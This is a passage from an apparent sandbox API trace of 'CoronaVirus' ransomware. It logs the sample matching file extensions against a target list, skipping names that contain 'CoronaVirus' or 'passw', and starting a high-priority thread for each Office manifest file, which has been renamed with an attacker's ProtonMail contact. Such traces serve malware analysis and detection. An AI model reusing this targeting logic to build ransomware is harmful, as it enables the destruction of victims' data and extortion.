	[0088.645] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.645] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.646] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.646] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.646] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.646] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.646] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.646] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.646] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.646] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.646] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.646] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.646] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.646] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.646] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.646] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.646] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.646] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.646] malloc (_Size=0x1000) returned 0x2fcb0b8
	[0088.647] _swprintf (in: param_1=0x2fcb0b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 133
	[0088.647] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.647] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.647] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fcb0b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c
	[0088.648] SetThreadPriority (hThread=0x78c, nPriority=15) returned 1
	[0088.649] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.650] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.650] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.650] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.650] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.650] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.650] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.650] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.650] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.650] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.650] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.650] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.650] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.650] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.650] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.650] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.650] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.650] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.650] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.650] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.650] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.650] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.650] malloc (_Size=0x1000) returned 0x2fcf210
	[0088.652] _swprintf (in: param_1=0x2fcf210, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 133
	[0088.652] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.652] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.652] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fcf210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794
	[0088.653] SetThreadPriority (hThread=0x794, nPriority=15) returned 1
	[0088.655] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.655] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.655] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.655] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.656] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.656] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.656] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.656] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.656] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.656] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.656] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.656] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.656] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.656] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.656] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.656] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.656] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.656] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.656] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.657] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.657] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.657] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.657] malloc (_Size=0x1000) returned 0x2fd0438
	[0088.657] _swprintf (in: param_1=0x2fd0438, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 133
	[0088.657] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.657] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.657] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fd0438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c
	[0088.658] SetThreadPriority (hThread=0x79c, nPriority=15) returned 1
	[0088.660] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.660] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.660] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.660] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.660] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.660] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.660] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.660] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.660] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.660] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.661] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.661] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.661] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.661] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.661] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.661] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.661] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.661] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.661] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.661] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.661] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.661] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.661] malloc (_Size=0x1000) returned 0x2fd3848
	[0088.661] _swprintf (in: param_1=0x2fd3848, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 133
	[0088.661] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.661] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.661] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fd3848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4
	[0088.662] SetThreadPriority (hThread=0x7a4, nPriority=15) returned 1
	[0088.663] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.663] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.663] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.664] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.664] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.664] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.664] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.664] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.664] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.664] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.664] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.664] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.664] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.664] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.664] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.664] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.664] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.664] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.664] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.664] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.664] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.664] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.664] malloc (_Size=0x1000) returned 0x2fd4850
	[0088.665] _swprintf (in: param_1=0x2fd4850, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 133
	[0088.665] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.665] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.665] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fd4850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac
	[0088.666] SetThreadPriority (hThread=0x7ac, nPriority=15) returned 1
	[0088.667] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.667] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.667] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.667] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.667] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.667] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.667] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.667] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.667] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.667] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.667] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.668] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.668] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.668] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.668] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.668] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.668] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.668] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.668] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.668] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.668] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.668] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.668] malloc (_Size=0x1000) returned 0x2fd5858
	[0088.668] _swprintf (in: param_1=0x2fd5858, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 133
	[0088.668] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.668] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.668] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fd5858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4
	[0088.669] SetThreadPriority (hThread=0x7b4, nPriority=15) returned 1
	[0088.671] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.671] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.671] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.671] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.671] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.671] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.671] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.671] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.671] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.671] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.671] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.671] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.671] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.671] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.671] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.671] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.671] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.671] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.671] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.671] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.671] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.671] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.672] malloc (_Size=0x1000) returned 0x2fd6860
	[0088.672] _swprintf (in: param_1=0x2fd6860, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 133
	[0088.672] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.672] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.672] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fd6860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc
	[0088.673] SetThreadPriority (hThread=0x7bc, nPriority=15) returned 1
	[0088.674] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.675] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.675] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.675] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.675] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.675] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.675] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.675] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.675] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.675] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.675] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.675] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.675] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.675] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.675] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.675] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.675] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.675] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.675] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.675] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.675] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.675] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.675] malloc (_Size=0x1000) returned 0x2fd7868
	[0088.675] _swprintf (in: param_1=0x2fd7868, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 133
	[0088.675] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.675] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.675] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fd7868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4
	[0088.676] SetThreadPriority (hThread=0x7c4, nPriority=15) returned 1
	[0088.757] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.757] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.757] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.757] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.757] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.757] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.757] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.757] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.757] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.757] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.757] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.757] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.757] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.757] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.757] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.757] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.757] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.757] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.757] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.758] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.758] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.758] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.758] malloc (_Size=0x1000) returned 0x2fd8870
	[0088.759] _swprintf (in: param_1=0x2fd8870, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 133
	[0088.759] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.759] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.759] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fd8870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8
	[0088.760] SetThreadPriority (hThread=0x7f8, nPriority=15) returned 1
	[0088.858] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.858] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.858] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.858] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.858] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.858] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.858] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.858] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.858] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.858] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.858] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.858] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.858] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.858] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.858] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.858] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.858] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.858] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.858] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.858] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.858] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.858] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.858] malloc (_Size=0x1000) returned 0x2fc5a30
	[0088.858] _swprintf (in: param_1=0x2fc5a30, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 133
	[0088.858] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.858] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
